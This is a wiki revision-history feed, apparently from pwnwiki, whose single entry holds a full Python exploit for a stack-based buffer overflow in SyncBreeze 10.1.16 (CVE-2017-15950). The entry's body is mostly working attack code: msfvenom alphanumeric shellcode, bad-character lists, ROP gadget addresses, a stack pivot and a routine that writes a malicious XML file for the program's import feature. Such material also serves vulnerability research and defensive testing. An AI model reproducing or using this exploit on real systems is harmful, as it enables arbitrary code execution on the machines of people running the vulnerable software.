<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2017-15950_SyncBreeze_10.1.16_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2017-15950 SyncBreeze 10.1.16 緩衝區溢出漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2017-15950_SyncBreeze_10.1.16_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2017-15950_SyncBreeze_10.1.16_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-15T01:02:40Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2017-15950_SyncBreeze_10.1.16_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=3616&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: SyncBreeze 10.1.16 - XML Parsing Stack-based Buffer Overflow # Date: 03/27/2021 # Author: Filipe Oliveira - filipecenturiao[at]hotmail.com Rafae...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2017-15950_SyncBreeze_10.1.16_%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E&amp;diff=3616&amp;oldid=prev"/>
		<updated>2021-05-30T02:25:05Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: SyncBreeze 10.1.16 - XML Parsing Stack-based Buffer Overflow # Date: 03/27/2021 # Author: Filipe Oliveira - filipecenturiao[at]hotmail.com Rafae...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: SyncBreeze 10.1.16 - XML Parsing Stack-based Buffer Overflow&lt;br /&gt;
# Date: 03/27/2021&lt;br /&gt;
# Author: Filipe Oliveira - filipecenturiao[at]hotmail.com Rafael Machado  - nnszs[at]protonmail.com&lt;br /&gt;
# Vendor: https://www.syncbreeze.com/&lt;br /&gt;
# Software Link: https://www.4shared.com/file/57pE4sZfiq/syncbreeze_setup_v10116.html&lt;br /&gt;
# Version: SyncBreeze v10.1.16 x86&lt;br /&gt;
# Tested on: Windows 10 x64 (19042.867)&lt;br /&gt;
# CVE: CVE-2017-15950&lt;br /&gt;
&lt;br /&gt;
Usage: The exploit will generate a POC file, called xplSyncBreeze.xml. Launch the application and click on Import Command, then load the POC file. &lt;br /&gt;
&lt;br /&gt;
# -*- coding: utf-8 -*-&lt;br /&gt;
    &lt;br /&gt;
import struct&lt;br /&gt;
&lt;br /&gt;
# badchars&lt;br /&gt;
#\x00\x0a\x0d\x20\x27&lt;br /&gt;
#\x81\x82\x83\x84\x85\x86\x87\x88&lt;br /&gt;
#\x89\x8A\x8B\x8C\x8D\x8E\x8F\x90&lt;br /&gt;
#\x91\x92\x93\x94\x95\x96\x97\x98&lt;br /&gt;
#\x99\x9A\x9B\x9C\x9D\x9E\x9F\xA0&lt;br /&gt;
#\xA1\xA2\xA3\xA4\xA5\xA6\xA7\xA8&lt;br /&gt;
#\xA9\xAA\xAB\xAC\xAD\xAE\xAF\xB0&lt;br /&gt;
#\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8&lt;br /&gt;
#\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0&lt;br /&gt;
#\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8&lt;br /&gt;
#\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0&lt;br /&gt;
#\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8&lt;br /&gt;
#\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0&lt;br /&gt;
#\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8&lt;br /&gt;
#\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0&lt;br /&gt;
#\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8&lt;br /&gt;
#\xF9\xFA\xFB\xFC\xFD\xFE\xFF&lt;br /&gt;
&lt;br /&gt;
# Shellcode payload size: 432 bytes&lt;br /&gt;
# msfvenom -a x86 --platform windows -p windows/exec CMD=calc -e x86/alpha_mixed BufferRegister=EAX -b '\x00\x0A\x0D\x20\x27' -v shellcode -f python&lt;br /&gt;
&lt;br /&gt;
shellcode =  b&amp;quot;&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x58\x50\x38\x41\x42\x75\x4a\x49\x6b\x4c\x69&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x78\x4e\x62\x75\x50\x77\x70\x35\x50\x45\x30&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x4b\x39\x59\x75\x55\x61\x39\x50\x52\x44\x4e&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x6b\x42\x70\x50\x30\x6e\x6b\x42\x72\x54\x4c&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x6c\x4b\x70\x52\x74\x54\x4c\x4b\x62\x52\x66&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x48\x44\x4f\x48\x37\x61\x5a\x51\x36\x45\x61&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x39\x6f\x6e\x4c\x75\x6c\x43\x51\x71\x6c\x65&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x52\x56\x4c\x47\x50\x4b\x71\x38\x4f\x74\x4d&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x37\x71\x49\x57\x38\x62\x7a\x52\x52\x72\x36&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x37\x4c\x4b\x63\x62\x42\x30\x6c\x4b\x31\x5a&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x57\x4c\x4c\x4b\x32\x6c\x36\x71\x31\x68\x4a&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x43\x47\x38\x47\x71\x4a\x71\x76\x31\x6c\x4b&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x36\x39\x67\x50\x66\x61\x58\x53\x4c\x4b\x70&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x49\x66\x78\x59\x73\x34\x7a\x53\x79\x6e\x6b&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x50\x34\x4c\x4b\x66\x61\x4e\x36\x55\x61\x39&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x6f\x4c\x6c\x4a\x61\x4a\x6f\x34\x4d\x67\x71&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x48\x47\x67\x48\x69\x70\x71\x65\x59\x66\x54&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x43\x63\x4d\x79\x68\x75\x6b\x73\x4d\x67\x54&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x44\x35\x79\x74\x72\x78\x4e\x6b\x53\x68\x71&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x34\x57\x71\x5a\x73\x52\x46\x6c\x4b\x36\x6c&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x72\x6b\x6c\x4b\x76\x38\x75\x4c\x67\x71\x68&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x53\x6e\x6b\x57\x74\x4e\x6b\x63\x31\x78\x50&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x6f\x79\x73\x74\x47\x54\x64\x64\x53\x6b\x31&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x4b\x63\x51\x50\x59\x63\x6a\x43\x61\x39\x6f&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x59\x70\x73\x6f\x31\x4f\x62\x7a\x4e\x6b\x44&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x52\x6a\x4b\x4e\x6d\x53\x6d\x73\x5a\x63\x31&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x4c\x4d\x4d\x55\x6f\x42\x75\x50\x47\x70\x33&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x30\x46\x30\x50\x68\x74\x71\x6c\x4b\x42\x4f&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x6e\x67\x39\x6f\x6e\x35\x6f\x4b\x58\x70\x78&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x35\x79\x32\x46\x36\x33\x58\x79\x36\x4c\x55&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x4f\x4d\x6d\x4d\x39\x6f\x6a\x75\x55\x6c\x63&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x36\x61\x6c\x45\x5a\x6d\x50\x49\x6b\x39\x70&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x32\x55\x75\x55\x6d\x6b\x57\x37\x64\x53\x74&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x32\x52\x4f\x50\x6a\x53\x30\x61\x43\x59\x6f&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x78\x55\x73\x53\x30\x61\x30\x6c\x72\x43\x43&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x30\x41\x41&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# padding to crash buffer&lt;br /&gt;
basura = struct.pack('&amp;lt;L', 0x41414141) * 390&lt;br /&gt;
&lt;br /&gt;
# gadgets to move payload pointer into EAX&lt;br /&gt;
GAD1 = struct.pack('&amp;lt;L', 0x65235465) # XCHG EAX,EBP&lt;br /&gt;
GAD2 = struct.pack('&amp;lt;L', 0x6506537C) # CALL EAX&lt;br /&gt;
&lt;br /&gt;
# padding to reach buffer address stored in ebp&lt;br /&gt;
basura2 = struct.pack('&amp;lt;L', 0x41414141) * 56&lt;br /&gt;
&lt;br /&gt;
# padding for stack pivot&lt;br /&gt;
&lt;br /&gt;
padding = struct.pack('&amp;lt;L', 0x41414141) * 4&lt;br /&gt;
padding2 = struct.pack('&amp;lt;L', 0x41414141) * 20&lt;br /&gt;
&lt;br /&gt;
# stack pivot to reach an area with more space for gadgets on the stack&lt;br /&gt;
# 0x6506491c: add esp, 0x48 ; pop edi ; pop esi ; ret&lt;br /&gt;
&lt;br /&gt;
pivot = struct.pack('&amp;lt;L', 0x6506491c)&lt;br /&gt;
&lt;br /&gt;
# final payload&lt;br /&gt;
&lt;br /&gt;
fruta = basura + pivot + padding + padding2 + GAD1 + GAD2 + basura2 + shellcode&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# write payload to xml file&lt;br /&gt;
&lt;br /&gt;
payload = open(&amp;quot;xplSyncBreeze.xml&amp;quot;, &amp;quot;wb&amp;quot;)&lt;br /&gt;
payload.write(&amp;quot;&amp;lt;?xml version=\&amp;quot;1.0\&amp;quot; encoding=\&amp;quot;UTF-8\&amp;quot;?&amp;gt;\n\n&amp;quot;.encode('utf-8'))&lt;br /&gt;
&lt;br /&gt;
payload.write(&amp;quot;&amp;lt;sync name='&amp;quot;.encode('utf-8'))&lt;br /&gt;
payload.write(fruta)&lt;br /&gt;
payload.write(&amp;quot;'&amp;gt;\n&amp;lt;/sync&amp;gt;\n&amp;quot;.encode('utf-8'))&lt;br /&gt;
&lt;br /&gt;
payload.close()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>